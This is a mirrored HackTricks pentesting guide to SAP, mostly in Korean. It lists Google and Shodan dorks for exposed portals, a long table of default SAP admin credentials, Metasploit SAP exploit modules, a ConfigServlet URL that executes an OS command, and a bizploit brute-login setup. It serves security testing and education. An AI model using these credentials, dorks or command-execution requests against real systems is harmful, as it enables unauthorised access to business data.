mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 14:40:37 +00:00
328 lines
25 KiB
Markdown
328 lines
25 KiB
Markdown
{% hint style="success" %}
|
||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>HackTricks 지원하기</summary>
|
||
|
||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
|
||
|
||
</details>
|
||
{% endhint %}
|
||
|
||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||
|
||
{% embed url="https://websec.nl/" %}
|
||
|
||
|
||
# SAP에 대한 소개
|
||
|
||
SAP는 데이터 처리의 시스템 응용 프로그램 및 제품을 의미합니다. 정의상 SAP는 ERP \(Enterprise Resource Planning\) 소프트웨어의 이름이자 회사의 이름입니다.
|
||
SAP 시스템은 비즈니스 관리의 거의 모든 측면을 포괄하는 여러 개의 완전히 통합된 모듈로 구성됩니다.
|
||
|
||
각 SAP 인스턴스 \(또는 SID\)는 데이터베이스, 애플리케이션 및 프레젠테이션의 세 가지 계층으로 구성되며, 각 환경은 일반적으로 개발, 테스트, QA 및 프로덕션의 네 개 인스턴스로 구성됩니다.
|
||
각 계층은 어느 정도 악용될 수 있지만, **데이터베이스를 공격하는 것이 가장 큰 효과를 얻을 수 있습니다.**
|
||
|
||
각 SAP 인스턴스는 클라이언트로 나뉘어 있습니다. 각 클라이언트는 사용자 SAP\*를 가지고 있으며, 이는 애플리케이션의 "루트"에 해당합니다.
|
||
초기 생성 시, 이 사용자 SAP\*는 기본 비밀번호 "060719992"를 받습니다 \(아래에 더 많은 기본 비밀번호가 있습니다\).
|
||
테스트 또는 개발 환경에서 이러한 **비밀번호가 얼마나 자주 변경되지 않는지 알면 놀랄 것입니다!**
|
||
|
||
사용자 이름 <SID>adm을 사용하여 서버의 셸에 접근해 보세요.
|
||
브루트포싱이 도움이 될 수 있지만, 계정 잠금 메커니즘이 있을 수 있습니다.
|
||
|
||
# 발견
|
||
|
||
> 다음 섹션은 주로 [https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures)에서 사용자 shipcod3의 내용입니다!
|
||
|
||
* 테스트를 위해 애플리케이션 범위 또는 프로그램 개요를 확인하세요. SAP GUI에 연결하기 위한 호스트 이름 또는 시스템 인스턴스를 기록해 두세요.
|
||
* OSINT \(open source intelligence\), Shodan 및 Google Dorks를 사용하여 애플리케이션이 인터넷에 노출되거나 공개된 경우 파일, 서브도메인 및 유용한 정보를 확인하세요:
|
||
```text
|
||
inurl:50000/irj/portal
|
||
inurl:IciEventService/IciEventConf
|
||
inurl:/wsnavigator/jsps/test.jsp
|
||
inurl:/irj/go/km/docs/
|
||
https://www.shodan.io/search?query=sap+portal
|
||
https://www.shodan.io/search?query=SAP+Netweaver
|
||
https://www.shodan.io/search?query=SAP+J2EE+Engine
|
||
```
|
||
* [http://SAP:50000/irj/portal](http://sap:50000/irj/portal)의 모습은 다음과 같습니다.
|
||
|
||
![SAP 로그인 화면](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/sap%20logon.jpeg)
|
||
|
||
* nmap을 사용하여 열린 포트와 알려진 서비스(sap 라우터, webdnypro, 웹 서비스, 웹 서버 등)를 확인합니다.
|
||
* 웹 서버가 실행 중인 경우 URL을 크롤링합니다.
|
||
* 특정 포트에 웹 서버가 있는 경우 디렉토리를 퍼징합니다(버프 인트루더를 사용할 수 있습니다). 기본 SAP ICM 경로 및 기타 흥미로운 디렉토리나 파일을 찾기 위해 SecLists 프로젝트에서 제공하는 몇 가지 좋은 워드리스트는 다음과 같습니다:
|
||
|
||
[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls\_SAP.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls-SAP.txt)
|
||
[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/SAP.fuzz.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/SAP.fuzz.txt)
|
||
[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/sap.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/sap.txt)
|
||
|
||
* SAP 인스턴스/서비스/구성 요소를 열거하기 위해 SAP SERVICE DISCOVERY 보조 Metasploit 모듈을 사용합니다:
|
||
```text
|
||
msf > use auxiliary/scanner/sap/sap_service_discovery
|
||
msf auxiliary(sap_service_discovery) > show options
|
||
Module options (auxiliary/scanner/sap/sap_service_discovery):
|
||
Name Current Setting Required Description
|
||
---- --------------- -------- -----------
|
||
CONCURRENCY 10 yes The number of concurrent ports to check per host
|
||
INSTANCES 00-01 yes Instance numbers to scan (e.g. 00-05,00-99)
|
||
RHOSTS yes The target address range or CIDR identifier
|
||
THREADS 1 yes The number of concurrent threads
|
||
TIMEOUT 1000 yes The socket connect timeout in milliseconds
|
||
msf auxiliary(sap_service_discovery) > set rhosts 192.168.96.101
|
||
rhosts => 192.168.96.101
|
||
msf auxiliary(sap_service_discovery) > run
|
||
[*] 192.168.96.101: - [SAP] Beginning service Discovery '192.168.96.101'
|
||
```
|
||
## Testing the Thick Client / SAP GUI
|
||
|
||
Here is the command to connect to SAP GUI
|
||
`sapgui <sap server hostname> <system number>`
|
||
|
||
* 기본 자격 증명 확인 \(In Bugcrowd’s Vulnerability Rating Taxonomy, this is considered as P1 -> Server Security Misconfiguration \| Using Default Credentials \| Production Server\):
|
||
```text
|
||
# SAP* - High privileges - Hardcoded kernel user
|
||
SAP*:06071992:*
|
||
SAP*:PASS:*
|
||
# IDEADM - High Privileges - Only in IDES systems
|
||
IDEADM:admin:*
|
||
# DDIC - High privileges - User has SAP_ALL
|
||
DDIC:19920706:000,001
|
||
# EARLYWATCH - High privileges
|
||
EARLYWATCH:SUPPORT:066
|
||
# TMSADM - Medium privileges
|
||
TMSADM:PASSWORD:000
|
||
TMSADM:$1Pawd2&:000
|
||
# SAPCPIC - Medium privileges
|
||
SAPCPIC:ADMIN:000,001
|
||
# SOLMAN dialog default users and passwords.
|
||
# For more info check:
|
||
# https://www.troopers.de/media/filer_public/37/34/3734ebb3-989c-4750-9d48-ea478674991a/an_easy_way_into_your_sap_systems_v30.pdf
|
||
# https://launchpad.support.sap.com/#/notes/2293011
|
||
# SOLMAN_ADMIN - High privileges - Only on SOLMAN systems
|
||
SOLMAN_ADMIN:init1234:*
|
||
# SAPSUPPORT - High privileges - Only on SOLMAN or satellite systems
|
||
SAPSUPPORT:init1234:*
|
||
# SOLMAN<SID><CLNT> - High privileges - Only on SOLMAN systems
|
||
#SOLMAN<SID><CLNT>:init1234:*
|
||
# Trial systems
|
||
# -------------
|
||
# AS ABAP 7.40 SP08 Developer Edition:
|
||
# https://blogs.sap.com/2015/10/14/sap-netweaver-as-abap-740-sp8-developer-edition-to-download-consise-installation-instruction/
|
||
DDIC:DidNPLpw2014:001
|
||
SAP*:DidNPLpw2014:001
|
||
DEVELOPER:abCd1234:001
|
||
BWDEVELOPER:abCd1234:001
|
||
# AS ABAP 7.50 SP02 Developer Edition:
|
||
# https://blogs.sap.com/2016/11/03/sap-nw-as-abap-7.50-sp2-developer-edition-to-download-consise-installation-guide/
|
||
# AS ABAP 7.51 SP02 Developer Edition:
|
||
# https://blogs.sap.com/2017/09/04/sap-as-abap-7.51-sp2-developer-edition-to-download-concise-installation-guide/
|
||
DDIC:Appl1ance:000,001
|
||
SAP*:Appl1ance:000,001
|
||
DEVELOPER:Appl1ance:001
|
||
BWDEVELOPER:Appl1ance:001
|
||
# AS ABAP 7.51 SP01 Developer Edition:
|
||
# https://blogs.sap.com/2018/09/13/as-abap-7.52-sp01-developer-edition-concise-installation-guide/
|
||
# AS ABAP 7.52 SP04 Developer Edition:
|
||
# https://blogs.sap.com/2019/10/01/as-abap-7.52-sp04-developer-edition-concise-installation-guide/
|
||
DDIC:Down1oad:000,001
|
||
SAP*:Down1oad:000,001
|
||
DEVELOPER:Down1oad:001
|
||
BWDEVELOPER:Down1oad:001
|
||
```
|
||
* Wireshark를 실행한 후, SSL 없이 자격 증명을 전송하는 클라이언트(SAP GUI)에 자격 증명을 사용하여 인증합니다. SAP DIAG 프로토콜에서 사용되는 주요 헤더를 해석할 수 있는 두 가지 알려진 Wireshark 플러그인이 있습니다: SecureAuth Labs SAP 해석 플러그인과 Positive Research Center의 SAP DIAG 플러그인입니다.
|
||
* 낮은 권한 사용자를 위한 일부 SAP 트랜잭션 코드(tc) 사용과 같은 권한 상승을 확인합니다:
|
||
* SU01 - 사용자 생성 및 유지 관리
|
||
* SU01D - 사용자 표시
|
||
* SU10 - 대량 유지 관리
|
||
* SU02 - 프로필 수동 생성
|
||
* SM19 - 보안 감사 - 구성
|
||
* SE84 - SAP R/3 권한을 위한 정보 시스템
|
||
* 클라이언트에서 시스템 명령을 실행하거나 스크립트를 실행할 수 있는지 확인합니다.
|
||
* BAPI Explorer에서 XSS를 수행할 수 있는지 확인합니다.
|
||
|
||
# 웹 인터페이스 테스트
|
||
|
||
* URL을 크롤링합니다(발견 단계 참조).
|
||
* 발견 단계처럼 URL을 퍼징합니다. [http://SAP:50000/index.html](http://sap:50000/index.html)의 모습은 다음과 같습니다:
|
||
|
||
![SAP Index Page](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/index.jpeg)
|
||
|
||
* 일반적인 웹 취약점(OWASP Top 10 참조)을 확인합니다. 일부 장소에는 XSS, RCE, XXE 등의 취약점이 있습니다.
|
||
* 웹 취약점 테스트를 위한 Jason Haddix의 [“The Bug Hunters Methodology”](https://github.com/jhaddix/tbhm)를 확인합니다.
|
||
* 동사 변조를 통한 인증 우회? 아마도 :)
|
||
* `http://SAP:50000/webdynpro/resources/sap.com/XXX/JWFTestAddAssignees#`를 열고 “Choose” 버튼을 클릭한 후 열린 창에서 “Search”를 누릅니다. SAP 사용자 목록을 볼 수 있어야 합니다(취약점 참조: [ERPSCAN-16-010](https://erpscan.com/advisories/erpscan-16-010-sap-netweaver-7-4-information-disclosure/)).
|
||
* 자격 증명이 HTTP를 통해 제출되었나요? 그렇다면 Bugcrowd의 [취약점 평가 분류](https://bugcrowd.com/vulnerability-rating-taxonomy)에 따라 P3로 간주됩니다: 손상된 인증 및 세션 관리 | HTTP를 통한 약한 로그인 기능. 힌트: [http://SAP:50000/startPage](http://sap:50000/startPage) 또는 로그인 포털도 확인하세요 :)
|
||
|
||
![SAP Start Page](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/startPage.jpeg)
|
||
|
||
* 가능한 디렉토리 목록 또는 인증 우회를 위해 `/irj/go/km/navigation/`를 시도합니다.
|
||
* [http://SAP/sap/public/info](http://sap/sap/public/info)에는 유용한 정보가 포함되어 있습니다:
|
||
```xml
|
||
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
|
||
<SOAP-ENV:Body>
|
||
<rfc:RFC_SYSTEM_INFO.Response xmlns:rfc="urn:sap-com:document:sap:rfc:functions">
|
||
<RFCSI>
|
||
<RFCPROTO>011</RFCPROTO>
|
||
<RFCCHARTYP>4102</RFCCHARTYP>
|
||
<RFCINTTYP>BIG</RFCINTTYP>
|
||
<RFCFLOTYP>IE3</RFCFLOTYP>
|
||
<RFCDEST>randomnum</RFCDEST>
|
||
<RFCHOST>randomnum</RFCHOST>
|
||
<RFCSYSID>BRQ</RFCSYSID>
|
||
<RFCDATABS>BRQ</RFCDATABS>
|
||
<RFCDBHOST>randomnum</RFCDBHOST>
|
||
<RFCDBSYS>ORACLE</RFCDBSYS>
|
||
<RFCSAPRL>740</RFCSAPRL>
|
||
<RFCMACH>324</RFCMACH>
|
||
<RFCOPSYS>AIX</RFCOPSYS>
|
||
<RFCTZONE>-25200</RFCTZONE>
|
||
<RFCDAYST/>
|
||
<RFCIPADDR>192.168.1.8</RFCIPADDR>
|
||
<RFCKERNRL>749</RFCKERNRL>
|
||
<RFCHOST2>randomnum</RFCHOST2>
|
||
<RFCSI_RESV/>
|
||
<RFCIPV6ADDR>192.168.1.8</RFCIPV6ADDR>
|
||
</RFCSI>
|
||
</rfc:RFC_SYSTEM_INFO.Response>
|
||
</SOAP-ENV:Body>
|
||
</SOAP-ENV:Envelope>
|
||
```
|
||
# Attack!
|
||
|
||
* Windows 2000과 같은 오래된 서버나 기술에서 실행되는지 확인하십시오.
|
||
* 가능한 익스플로잇 / 공격을 계획하십시오. SAP 발견을 위한 많은 Metasploit 모듈(보조 모듈)과 익스플로잇이 있습니다:
|
||
```text
|
||
msf > search sap
|
||
Matching Modules
|
||
================
|
||
Name Disclosure Date Rank Description
|
||
---- --------------- ---- -----------
|
||
auxiliary/admin/maxdb/maxdb_cons_exec 2008-01-09 normal SAP MaxDB cons.exe Remote Command Injection
|
||
auxiliary/admin/sap/sap_configservlet_exec_noauth 2012-11-01 normal SAP ConfigServlet OS Command Execution
|
||
auxiliary/admin/sap/sap_mgmt_con_osexec normal SAP Management Console OSExecute
|
||
auxiliary/dos/sap/sap_soap_rfc_eps_delete_file normal SAP SOAP EPS_DELETE_FILE File Deletion
|
||
auxiliary/dos/windows/http/pi3web_isapi 2008-11-13 normal Pi3Web ISAPI DoS
|
||
auxiliary/dos/windows/llmnr/ms11_030_dnsapi 2011-04-12 normal Microsoft Windows DNSAPI.dll LLMNR Buffer Underrun DoS
|
||
auxiliary/scanner/http/sap_businessobjects_user_brute normal SAP BusinessObjects User Bruteforcer
|
||
auxiliary/scanner/http/sap_businessobjects_user_brute_web normal SAP BusinessObjects Web User Bruteforcer
|
||
auxiliary/scanner/http/sap_businessobjects_user_enum normal SAP BusinessObjects User Enumeration
|
||
auxiliary/scanner/http/sap_businessobjects_version_enum normal SAP BusinessObjects Version Detection
|
||
auxiliary/scanner/sap/sap_ctc_verb_tampering_user_mgmt normal SAP CTC Service Verb Tampering User Management
|
||
auxiliary/scanner/sap/sap_hostctrl_getcomputersystem normal SAP Host Agent Information Disclosure
|
||
auxiliary/scanner/sap/sap_icf_public_info normal SAP ICF /sap/public/info Service Sensitive Information Gathering
|
||
auxiliary/scanner/sap/sap_icm_urlscan normal SAP URL Scanner
|
||
auxiliary/scanner/sap/sap_mgmt_con_abaplog normal SAP Management Console ABAP Syslog Disclosure
|
||
auxiliary/scanner/sap/sap_mgmt_con_brute_login normal SAP Management Console Brute Force
|
||
auxiliary/scanner/sap/sap_mgmt_con_extractusers normal SAP Management Console Extract Users
|
||
auxiliary/scanner/sap/sap_mgmt_con_getaccesspoints normal SAP Management Console Get Access Points
|
||
auxiliary/scanner/sap/sap_mgmt_con_getenv normal SAP Management Console getEnvironment
|
||
auxiliary/scanner/sap/sap_mgmt_con_getlogfiles normal SAP Management Console Get Logfile
|
||
auxiliary/scanner/sap/sap_mgmt_con_getprocesslist normal SAP Management Console GetProcessList
|
||
auxiliary/scanner/sap/sap_mgmt_con_getprocessparameter normal SAP Management Console Get Process Parameters
|
||
auxiliary/scanner/sap/sap_mgmt_con_instanceproperties normal SAP Management Console Instance Properties
|
||
auxiliary/scanner/sap/sap_mgmt_con_listlogfiles normal SAP Management Console List Logfiles
|
||
auxiliary/scanner/sap/sap_mgmt_con_startprofile normal SAP Management Console getStartProfile
|
||
auxiliary/scanner/sap/sap_mgmt_con_version normal SAP Management Console Version Detection
|
||
auxiliary/scanner/sap/sap_router_info_request normal SAPRouter Admin Request
|
||
auxiliary/scanner/sap/sap_router_portscanner normal SAPRouter Port Scanner
|
||
auxiliary/scanner/sap/sap_service_discovery normal SAP Service Discovery
|
||
auxiliary/scanner/sap/sap_smb_relay normal SAP SMB Relay Abuse
|
||
auxiliary/scanner/sap/sap_soap_bapi_user_create1 normal SAP /sap/bc/soap/rfc SOAP Service BAPI_USER_CREATE1 Function User Creation
|
||
auxiliary/scanner/sap/sap_soap_rfc_brute_login normal SAP SOAP Service RFC_PING Login Brute Forcer
|
||
auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_call_system_command_exec normal SAP /sap/bc/soap/rfc SOAP Service SXPG_CALL_SYSTEM Function Command Injection
|
||
auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_command_exec normal SAP /sap/bc/soap/rfc SOAP Service SXPG_COMMAND_EXEC Function Command Injection
|
||
auxiliary/scanner/sap/sap_soap_rfc_eps_get_directory_listing normal SAP SOAP RFC EPS_GET_DIRECTORY_LISTING Directories Information Disclosure
|
||
auxiliary/scanner/sap/sap_soap_rfc_pfl_check_os_file_existence normal SAP SOAP RFC PFL_CHECK_OS_FILE_EXISTENCE File Existence Check
|
||
auxiliary/scanner/sap/sap_soap_rfc_ping normal SAP /sap/bc/soap/rfc SOAP Service RFC_PING Function Service Discovery
|
||
auxiliary/scanner/sap/sap_soap_rfc_read_table normal SAP /sap/bc/soap/rfc SOAP Service RFC_READ_TABLE Function Dump Data
|
||
auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir normal SAP SOAP RFC RZL_READ_DIR_LOCAL Directory Contents Listing
|
||
auxiliary/scanner/sap/sap_soap_rfc_susr_rfc_user_interface normal SAP /sap/bc/soap/rfc SOAP Service SUSR_RFC_USER_INTERFACE Function User Creation
|
||
auxiliary/scanner/sap/sap_soap_rfc_sxpg_call_system_exec normal SAP /sap/bc/soap/rfc SOAP Service SXPG_CALL_SYSTEM Function Command Execution
|
||
auxiliary/scanner/sap/sap_soap_rfc_sxpg_command_exec normal SAP SOAP RFC SXPG_COMMAND_EXECUTE
|
||
auxiliary/scanner/sap/sap_soap_rfc_system_info normal SAP /sap/bc/soap/rfc SOAP Service RFC_SYSTEM_INFO Function Sensitive Information Gathering
|
||
auxiliary/scanner/sap/sap_soap_th_saprel_disclosure normal SAP /sap/bc/soap/rfc SOAP Service TH_SAPREL Function Information Disclosure
|
||
auxiliary/scanner/sap/sap_web_gui_brute_login normal SAP Web GUI Login Brute Forcer
|
||
exploit/multi/sap/sap_mgmt_con_osexec_payload 2011-03-08 excellent SAP Management Console OSExecute Payload Execution
|
||
exploit/multi/sap/sap_soap_rfc_sxpg_call_system_exec 2013-03-26 great SAP SOAP RFC SXPG_CALL_SYSTEM Remote Command Execution
|
||
exploit/multi/sap/sap_soap_rfc_sxpg_command_exec 2012-05-08 great SAP SOAP RFC SXPG_COMMAND_EXECUTE Remote Command Execution
|
||
exploit/windows/browser/enjoysapgui_comp_download 2009-04-15 excellent EnjoySAP SAP GUI ActiveX Control Arbitrary File Download
|
||
exploit/windows/browser/enjoysapgui_preparetoposthtml 2007-07-05 normal EnjoySAP SAP GUI ActiveX Control Buffer Overflow
|
||
exploit/windows/browser/sapgui_saveviewtosessionfile 2009-03-31 normal SAP AG SAPgui EAI WebViewer3D Buffer Overflow
|
||
exploit/windows/http/sap_configservlet_exec_noauth 2012-11-01 great SAP ConfigServlet Remote Code Execution
|
||
exploit/windows/http/sap_host_control_cmd_exec 2012-08-14 average SAP NetWeaver HostControl Command Injection
|
||
exploit/windows/http/sapdb_webtools 2007-07-05 great SAP DB 7.4 WebTools Buffer Overflow
|
||
exploit/windows/lpd/saplpd 2008-02-04 good SAP SAPLPD 6.28 Buffer Overflow
|
||
exploit/windows/misc/sap_2005_license 2009-08-01 great SAP Business One License Manager 2005 Buffer Overflow
|
||
exploit/windows/misc/sap_netweaver_dispatcher 2012-05-08 normal SAP NetWeaver Dispatcher DiagTraceR3Info Buffer Overflow
|
||
```
|
||
* SAP 포털에서 오래된 “SAP ConfigServlet 원격 코드 실행”과 같은 알려진 취약점 \(Exploit-DB 확인\)이나 공격을 사용해 보십시오:
|
||
```text
|
||
http://example.com:50000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=uname -a
|
||
```
|
||
![SAP Config Servlet RCE](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/sap_rce.jpeg)
|
||
|
||
* Discovery 단계에서 bizploit 스크립트의 `start` 명령을 실행하기 전에 취약점 평가를 수행하기 위해 다음을 추가할 수 있습니다:
|
||
```text
|
||
bizploit> plugins
|
||
bizploit/plugins> vulnassess all
|
||
bizploit/plugins> vulnassess config bruteLogin
|
||
bizploit/plugins/vulnassess/config:bruteLogin> set type defaultUsers
|
||
bizploit/plugins/vulnassess/config:bruteLogin> set tryHardcodedSAPStar True
|
||
bizploit/plugins/vulnassess/config:bruteLogin> set tryUserAsPwd True
|
||
bizploit/plugins/vulnassess/config:bruteLogin> back
|
||
bizploit/plugins> vulnassess config registerExtServer
|
||
bizploit/plugins/vulnassess/config:registerExtServer> set tpname evilgw
|
||
bizploit/plugins/vulnassess/config:registerExtServer> back
|
||
bizploit/plugins> vulnassess config checkRFCPrivs
|
||
bizploit/plugins/vulnassess/config:checkRFCPrivs> set checkExtOSCommands True
|
||
bizploit/plugins/vulnassess/config:checkRFCPrivs> back
|
||
bizploit/plugins> vulnassess config icmAdmin
|
||
bizploit/plugins/vulnassess/config:icmAdmin> set adminURL /sap/admin
|
||
bizploit/plugins/vulnassess/config:icmAdmin> back
|
||
bizploit/plugins> start
|
||
bizploit/plugins> back
|
||
bizploit> start
|
||
```
|
||
# Other Useful Tools for Testing
|
||
|
||
* [PowerSAP](https://github.com/airbus-seclab/powersap) - SAP 보안을 평가하기 위한 Powershell 도구
|
||
* [Burp Suite](https://portswigger.net/burp) - 디렉토리 퍼징 및 웹 보안 평가를 위한 필수 도구
|
||
* [pysap](https://github.com/SecureAuthCorp/pysap) - SAP 네트워크 프로토콜 패킷을 생성하기 위한 Python 라이브러리
|
||
* [https://github.com/gelim/nmap-erpscan](https://github.com/gelim/nmap-erpscan) - nmap이 SAP/ERP를 탐지하는 데 도움을 줌
|
||
|
||
## References
|
||
|
||
* [SAP Penetration Testing Using Metasploit](http://information.rapid7.com/rs/rapid7/images/SAP%20Penetration%20Testing%20Using%20Metasploit%20Final.pdf)
|
||
* [https://github.com/davehardy20/SAP-Stuff](https://github.com/davehardy20/SAP-Stuff) - Bizploit을 반자동화하기 위한 스크립트
|
||
* [SAP NetWeaver ABAP 보안 구성 3부: 애플리케이션 접근을 위한 기본 비밀번호](https://erpscan.com/press-center/blog/sap-netweaver-abap-security-configuration-part-2-default-passwords-for-access-to-the-application/)
|
||
* [SAP 보안과 관련된 ABAP 트랜잭션 코드 목록](https://wiki.scn.sap.com/wiki/display/Security/List+of+ABAP-transaction+codes+related+to+SAP+security)
|
||
* [SAP 포털 해킹](https://erpscan.com/wp-content/uploads/presentations/2012-HackerHalted-Breaking-SAP-Portal.pdf)
|
||
* [가장 흥미로운 SAP 취약점 및 공격 10가지](https://erpscan.com/wp-content/uploads/presentations/2012-Kuwait-InfoSecurity-Top-10-most-interesting-vulnerabilities-and-attacks-in-SAP.pdf)
|
||
* [Bizploit을 통한 SAP 생태계 보안 평가: 발견](https://www.onapsis.com/blog/assessing-security-sap-ecosystems-bizploit-discovery)
|
||
* [https://www.exploit-db.com/docs/43859](https://www.exploit-db.com/docs/43859)
|
||
* [https://resources.infosecinstitute.com/topic/pen-stesting-sap-applications-part-1/](https://resources.infosecinstitute.com/topic/pen-stesting-sap-applications-part-1/)
|
||
* [https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures)
|
||
|
||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||
|
||
{% embed url="https://websec.nl/" %}
|
||
|
||
|
||
{% hint style="success" %}
|
||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Support HackTricks</summary>
|
||
|
||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|
||
{% endhint %}
|